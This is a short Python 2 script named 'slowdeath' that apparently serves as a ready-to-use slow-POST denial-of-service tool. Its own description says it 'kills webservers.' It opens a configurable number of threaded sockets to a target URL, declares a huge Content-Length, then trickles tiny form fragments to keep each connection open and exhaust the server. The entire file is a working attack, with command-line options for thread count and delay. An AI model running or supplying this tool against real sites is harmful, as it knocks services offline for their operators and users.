slowdeath.py

#!/usr/bin/env python

from optparse import OptionParser
from urlparse import urlparse
from time import sleep
import socket
import threading

def openConnections(url, threads, sleepTime) :
	urlParts = urlparse(url)
	if (urlParts.scheme != 'http'):
		raise Exception('Only the http protocol is currently supported')

	port = urlParts.port

	if port == None: port = 80

	print "Opening %d sockets to %s:%d" % (threads, urlParts.hostname, port)

	pool = []

	try:
		for i in range(1, threads):
			t = Worker(urlParts.hostname, port, urlParts.path, sleepTime)
			pool.append(t)
			t.start()

		print "Started %d threads. Hit ctrl-c to exit" % (threads)

		while True: sleep(1)

	except KeyboardInterrupt, e:
		print "\nCaught keyboard interrupt. Stopping all threads"

		for worker in pool: worker.stop()

		for worker in pool: worker.join()

class Worker (threading.Thread):
	def __init__(self, host, port, path, sleepTime) :
	    self.host = host
	    self.port = port
	    self.path = path
	    self.sleepTime = sleepTime
	    self.stopped = False
	    threading.Thread.__init__(self)

	def stop(self): self.stopped = True

	def run(self):
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((self.host, self.port))
		s.settimeout(1)
		s.send(
		    'POST ' + self.path + ' HTTP/1.1\r\n' +
		    'Host: ' + self.host + '\r\n' +
		    'Connection: close\r\n' +
		    'Content-Length: 1000000\r\n' +
		    '\r\n'
		)

		while not self.stopped:
			s.send('abc=123&')
			sleep(self.sleepTime/1000) 

		s.close

def main():
	parser = OptionParser(
	    version="slowdeath v0.1",
	    description="Kills webservers by keeping many connections open, avoiding timeouts.",
	    usage="usage: %prog [options] url",
	)
	parser.add_option(
	    '-t','--threads',
	    help="Number of connections to keep open (default = 100)",
	    type="int",
	    dest="threads",
	    default=100
	)
	parser.add_option(
	    '-s','--sleep',
	    help="Time in between packages in millisenconds (default = 1000)",
	    type="int",
	    dest="sleepTime",
	    default=1000
	)

	options,args = parser.parse_args()

	if len(args) < 1: parser.error("This utility requires at least 1 argument")

	url = args[0]

	openConnections(url, options.threads, options.sleepTime)

if __name__ == '__main__': main()